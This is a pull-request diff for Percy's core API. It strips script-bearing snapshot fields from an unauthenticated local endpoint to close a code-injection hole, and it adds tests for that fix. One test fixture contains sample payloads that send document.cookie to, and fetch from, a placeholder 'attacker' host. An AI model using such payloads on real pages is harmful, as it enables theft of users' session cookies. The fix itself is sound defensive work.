Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 47 additions & 2 deletions packages/core/src/api.js
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,50 @@ function stripBlockedConfigFields(body, log) {
return _applyHttpReadOnlyStripping(body, findHttpReadOnlyPaths(body, ROOT_CONFIG_SCHEMA), log);
}

// Snapshot option keys whose values are executed as JavaScript in the browser:
// `domTransformation` is passed to window.eval and `execute` (incl. its
// beforeSnapshot/afterNavigation/before|afterResize hooks) is run via page.eval.
const REMOTE_SCRIPT_FIELDS = ['execute', 'domTransformation'];

// The local /percy/snapshot endpoint is unauthenticated, so accepting code-
// bearing fields from a network request body lets any local caller inject
// arbitrary JavaScript into the (possibly authenticated) page being snapshotted
// (CWE-94 — PER-8607, PER-8613). Strip those fields from HTTP-sourced snapshots
// by default; the config-file / CLI path (`percy snapshot`) calls percy.snapshot
// directly and never passes through this route, so legitimate config-sourced
// execute/domTransformation are unaffected. Trusted programmatic callers can opt
// back in with PERCY_ALLOW_REMOTE_SCRIPTS=true.
export function stripRemoteScriptFields(body, log) {
if (process.env.PERCY_ALLOW_REMOTE_SCRIPTS === 'true') return body;
if (!body || typeof body !== 'object') return body;

let stripped = JSON.parse(JSON.stringify(body));
let removed = new Set();
let walk = node => {
if (Array.isArray(node)) return node.forEach(walk);
if (node && typeof node === 'object') {
for (let key of Object.keys(node)) {
if (REMOTE_SCRIPT_FIELDS.includes(key)) {
delete node[key];
removed.add(key);
} else {
walk(node[key]);
}
}
}
};
walk(stripped);

if (removed.size) {
log.warn(
`Ignoring \`${[...removed].join('`, `')}\` from /percy/snapshot request: these run ` +
'arbitrary JavaScript and are not accepted over the local API. Set them via the config ' +
'file or CLI, or set PERCY_ALLOW_REMOTE_SCRIPTS=true to allow them on this endpoint.'
);
}
return stripped;
}

// Parse PNG IHDR chunk for the screenshot's actual rendered dimensions.
// Returns { width, height } when the buffer is a valid PNG with non-zero
// dimensions, or null otherwise (non-PNG signature, truncated file, zero
Expand Down Expand Up @@ -374,10 +418,11 @@ export function createPercyServer(percy, port) {
.route('post', '/percy/snapshot', async (req, res) => {
let data;
const snapshotPromise = {};
const snapshot = percy.snapshot(req.body, snapshotPromise);
const body = stripRemoteScriptFields(req.body, logger('core:server'));
const snapshot = percy.snapshot(body, snapshotPromise);
if (!req.url.searchParams.has('async')) await snapshot;

if (percy.syncMode(req.body)) data = await handleSyncJob(snapshotPromise[req.body.name], percy, 'snapshot');
if (percy.syncMode(body)) data = await handleSyncJob(snapshotPromise[body.name], percy, 'snapshot');

return res.json(200, { success: true, data: data });
})
Expand Down
54 changes: 53 additions & 1 deletion packages/core/test/api.test.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ import PercyConfig from '@percy/config';
import { logger, setupTest, fs } from './helpers/index.js';
import Percy from '@percy/core';
import WebdriverUtils from '@percy/webdriver-utils';
import { getPercyDomPath, _applyHttpReadOnlyStripping } from '../src/api.js';
import { getPercyDomPath, _applyHttpReadOnlyStripping, stripRemoteScriptFields } from '../src/api.js';

describe('API Server', () => {
let percy;
Expand Down Expand Up @@ -1887,3 +1887,55 @@ describe('_applyHttpReadOnlyStripping', () => {
expect(log.warn).not.toHaveBeenCalled();
});
});

describe('stripRemoteScriptFields', () => {
afterEach(() => { delete process.env.PERCY_ALLOW_REMOTE_SCRIPTS; });

it('removes execute and domTransformation from a network snapshot body (CWE-94)', () => {
let log = { warn: jasmine.createSpy('warn') };
let body = {
url: 'https://example.com',
name: 'test',
domTransformation: '(function(el){new Image().src="https://attacker/x?c="+document.cookie})',
execute: { beforeSnapshot: 'fetch("https://attacker/y")' },
additionalSnapshots: [{ name: 'extra', execute: 'steal()' }]
};
let result = stripRemoteScriptFields(body, log);

expect(result.domTransformation).toBeUndefined();
expect(result.execute).toBeUndefined();
expect(result.additionalSnapshots[0].execute).toBeUndefined();
// non-code fields are preserved, and the original body is not mutated
expect(result.url).toEqual('https://example.com');
expect(result.name).toEqual('test');
expect(result.additionalSnapshots[0].name).toEqual('extra');
expect(body.domTransformation).toBeDefined();
expect(log.warn).toHaveBeenCalledWith(jasmine.stringMatching(/Ignoring `execute`, `domTransformation`/));
});

it('leaves a body without code fields unchanged and does not warn', () => {
let log = { warn: jasmine.createSpy('warn') };
let body = { url: 'https://example.com', name: 'clean', widths: [1000] };
let result = stripRemoteScriptFields(body, log);

expect(result).toEqual(body);
expect(log.warn).not.toHaveBeenCalled();
});

it('preserves code fields when PERCY_ALLOW_REMOTE_SCRIPTS=true', () => {
process.env.PERCY_ALLOW_REMOTE_SCRIPTS = 'true';
let log = { warn: jasmine.createSpy('warn') };
let body = { name: 'test', execute: 'doThing()' };
let result = stripRemoteScriptFields(body, log);

expect(result.execute).toEqual('doThing()');
expect(log.warn).not.toHaveBeenCalled();
});

it('tolerates non-object bodies', () => {
let log = { warn: jasmine.createSpy('warn') };
expect(stripRemoteScriptFields(undefined, log)).toBeUndefined();
expect(stripRemoteScriptFields('str', log)).toEqual('str');
expect(log.warn).not.toHaveBeenCalled();
});
});
Loading